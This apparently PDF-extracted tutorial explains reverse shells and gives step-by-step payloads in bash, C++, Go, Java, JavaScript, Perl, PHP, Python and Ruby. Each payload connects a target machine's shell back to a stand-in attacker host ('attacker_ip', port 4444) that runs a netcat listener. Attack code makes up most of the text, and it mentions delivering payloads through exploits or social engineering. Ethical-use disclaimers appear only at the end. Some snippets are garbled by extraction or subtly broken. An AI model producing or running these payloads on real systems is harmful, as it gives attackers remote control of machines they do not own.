Figure 1: reverseshell
What is a Reverse Shell?
A reverse shell is a type of shell where the target machine initiates the connection
to the attacker’s machine. This allows the attacker to gain remote access to the
target system’s command line interface.
Basic Steps to Generate a Reverse Shell:
1. Setting Up Listener (Attacker’s Machine): The attacker needs to set
up a listener to receive the incoming connection from the target machine.
2. Generating Payload (Target Machine): A payload is generated on
the target machine, which will establish a connection back to the attacker’s
machine.
3. Executing Payload (Target Machine): The payload is executed on
the target machine, initiating the reverse shell connection.
Step-by-Step Guide:
1. Setting Up Listener (Attacker’s Machine): Open a terminal on the
attacker’s machine and start a netcat listener on a specific port. Netcat (nc) is
a versatile networking utility.
nc -lvp <port>
Explanation: - -l: Listen mode, for inbound connections. - -v: Verbose mode,
for detailed output. - -p <port>: Specifies the port to listen on.
1
2. Generating Payload (Target Machine): On the target machine, you’ll
need to generate a command that establishes a connection to the attacker’s
machine. Let’s use netcat for this purpose as well.
/bin/bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1
Replace <attacker_ip> with the IP address of the attacker’s machine and
<attacker_port> with the port number specified in the listener.
3. Executing Payload (Target Machine): Execute the generated payload
on the target machine. This can be done through various means such as exploit-
ing vulnerabilities, social engineering, or planting the payload through other
means.
bash -c "/bin/bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1"
Example: Attacker’s Machine:
nc -lvp 4444
Target Machine:
bash -c "/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
Reverse shell in C++:
Step-by-Step Guide:
1. Include Necessary Libraries: You’ll need to include the necessary C++
libraries for socket programming.
#include <iostream>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
2. Define Constants: Define constants for the attacker’s IP address and
port number.
#define ATTACKER_IP "attacker_ip"
#define ATTACKER_PORT 4444
Replace "attacker_ip" with the actual IP address of the attacker’s machine.
3. Main Function: In the main function, create a socket, connect to the
attacker’s machine, and redirect input/output to the socket.
int main() {
int sockfd;
struct sockaddr_in server_addr;
2
// Create socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
std::cerr << "Error creating socket\n";
return 1;
}
// Set up server address
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(ATTACKER_PORT);
server_addr.sin_addr.s_addr = inet_addr(ATTACKER_IP);
// Connect to attacker's machine
if (connect(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
std::cerr << "Error connecting to attacker\n";
return 1;
}
// Redirect input/output to socket
dup2(sockfd, 0); // stdin
dup2(sockfd, 1); // stdout
dup2(sockfd, 2); // stderr
// Execute shell
execve("/bin/bash", NULL, NULL);
close(sockfd);
return 0;
}
4. Compile and Execute: Compile the C++ program and execute it on the
target machine.
g++ reverse_shell.cpp -o reverse_shell
./reverse_shell
Reverse shell in Go:
1. Import Necessary Packages: Import the necessary packages for network
communication and executing shell commands.
package main
import (
"fmt"
"net"
3
"os/exec"
)
2. Define Constants: Define constants for the attacker’s IP address and
port number.
const (
attackerIP = "attacker_ip"
attackerPort = 4444
)
Replace "attacker_ip" with the actual IP address of the attacker’s machine.
3. Main Function: In the main function, establish a connection to the at-
tacker’s machine and redirect input/output to the connection.
func main() {
conn, err := [Link]("tcp", [Link]("%s:%d", attackerIP, attackerPort))
if err != nil {
[Link]("Error connecting to attacker:", err)
return
}
defer [Link]()
// Redirect input/output to the connection
cmd := [Link]("/bin/sh")
[Link] = conn
[Link] = conn
[Link] = conn
// Execute shell command
if err := [Link](); err != nil {
[Link]("Error executing shell command:", err)
return
}
}
4. Build and Execute: Build the Go program and execute it on the target
machine.
go build reverse_shell.go
./reverse_shell
4
Reverse shell in Java:
Step-by-Step Guide:
1. Import Necessary Packages: Import the necessary packages for network
communication and executing shell commands.
import [Link].*;
import [Link].*;
2. Define Constants: Define constants for the attacker’s IP address and
port number.
public class ReverseShell {
private static final String ATTACKER_IP = "attacker_ip";
private static final int ATTACKER_PORT = 4444;
Replace "attacker_ip" with the actual IP address of the attacker’s machine.
3. Main Method: In the main method, establish a connection to the at-
tacker’s machine and redirect input/output to the connection.
public static void main(String[] args) {
try {
Socket socket = new Socket(ATTACKER_IP, ATTACKER_PORT);
// Redirect input/output to the connection
Process process = [Link]().exec("/bin/sh");
new Thread(new Pipe([Link](), [Link]())).start()
new Thread(new Pipe([Link](), [Link]())).start()
} catch (IOException e) {
[Link]();
}
}
4. Pipe Class: Create a helper class to pipe data between the socket in-
put/output stream and the process input/output stream.
static class Pipe implements Runnable {
private final InputStream inputStream;
private final OutputStream outputStream;
Pipe(InputStream inputStream, OutputStream outputStream) {
[Link] = inputStream;
[Link] = outputStream;
}
@Override
public void run() {
5
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = [Link](buffer)) != -1) {
[Link](buffer, 0, bytesRead);
}
} catch (IOException e) {
[Link]();
}
}
}
5. Build and Execute: Compile the Java program and execute it on the
target machine.
javac [Link]
java ReverseShell
Reverse shell in JavaScript:
Step-by-Step Guide:
1. Install Required Packages: First, make sure you have [Link] installed
on your system. Then, create a new directory for your project and initialize a
new [Link] project:
mkdir reverse_shell
cd reverse_shell
npm init -y
Install the net package, which provides networking capabilities:
npm install net
2. Create JavaScript File: Create a new JavaScript file (e.g.,
reverse_shell.js) and add the following code:
const net = require('net');
const { exec } = require('child_process');
const ATTACKER_IP = 'attacker_ip';
const ATTACKER_PORT = 4444;
const socket = [Link]({ host: ATTACKER_IP, port: ATTACKER_PORT });
[Link]('connect', () => {
const shell = exec('/bin/sh');
6
[Link]([Link]);
[Link](socket);
[Link](socket);
});
Replace 'attacker_ip' with the actual IP address of the attacker’s machine.
3. Run the Script: Run the JavaScript script using [Link]:
node reverse_shell.js
Reverse shell in Perl:
Step-by-Step Guide:
1. Create Perl Script: Create a new Perl script (e.g., reverse_shell.pl)
and add the following code:
#!/usr/bin/perl
use strict;
use warnings;
use Socket;
my $attacker_ip = "attacker_ip";
my $attacker_port = 4444;
# Create socket
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "socket: $!";
my $target_addr = sockaddr_in($attacker_port, inet_aton($attacker_ip));
# Connect to attacker's machine
connect(SOCK, $target_addr) or die "connect: $!";
open(STDIN, ">&SOCK");
open(STDOUT, ">&SOCK");
open(STDERR, ">&SOCK");
# Execute shell
exec("/bin/sh -i");
Replace "attacker_ip" with the actual IP address of the attacker’s machine.
2. Run the Script: Run the Perl script:
perl reverse_shell.pl
7
Reverse shell in PHP:
Step-by-Step Guide:
1. Create PHP Script: Create a new PHP script (e.g., reverse_shell.php)
and add the following code:
<?php
$attacker_ip = 'attacker_ip';
$attacker_port = 4444;
// Establish a connection to the attacker's machine
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, $attacker_ip, $attacker_port);
// Redirect input/output to the connection
socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);
socket_dup2($sock, 0);
socket_dup2($sock, 1);
socket_dup2($sock, 2);
// Execute shell
$command = '/bin/sh -i';
exec($command);
?>
Replace 'attacker_ip' with the actual IP address of the attacker’s machine.
2. Run the Script: Run the PHP script using a PHP interpreter:
php reverse_shell.php
Reverse shell in Python:
Step-by-Step Guide:
1. Create Python Script: Create a new Python script (e.g., reverse_shell.py)
and add the following code:
import socket
import subprocess
ATTACKER_IP = 'attacker_ip'
ATTACKER_PORT = 4444
def connect():
sock = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((ATTACKER_IP, ATTACKER_PORT))
8
while True:
command = [Link](1024).decode()
if [Link]() == 'exit':
break
output = [Link](command)
[Link]([Link]())
[Link]()
if __name__ == '__main__':
connect()
Replace 'attacker_ip' with the actual IP address of the attacker’s machine.
2. Run the Script: Run the Python script:
python reverse_shell.py
Reverse shell in Ruby:
Step-by-Step Guide:
1. Create Ruby Script: Create a new Ruby script (e.g., reverse_shell.rb)
and add the following code:
require 'socket'
require 'open3'
ATTACKER_IP = 'attacker_ip'
ATTACKER_PORT = 4444
def connect
sock = [Link](ATTACKER_IP, ATTACKER_PORT)
loop do
command = [Link]
break if [Link] == 'exit'
output = ''
Open3.popen2e(command) do |stdin, stdout_err, wait_thr|
output = stdout_err.read
end
[Link](output)
end
[Link]
end
9
connect
Replace 'attacker_ip' with the actual IP address of the attacker’s machine.
2. Run the Script: Run the Ruby script:
ruby reverse_shell.rb
Notes:
• Ensure that the attacker’s machine is listening on the specified port using
a tool like netcat (nc -lvp 4444).
• Replace 'attacker_ip' with the actual IP address of the attacker’s ma-
chine.
• This example demonstrates a basic reverse shell using Ruby. Make sure
to exercise caution and only use it for ethical purposes.
• Always stay within legal and ethical boundaries when conducting penetra-
tion testing or ethical hacking activities.
10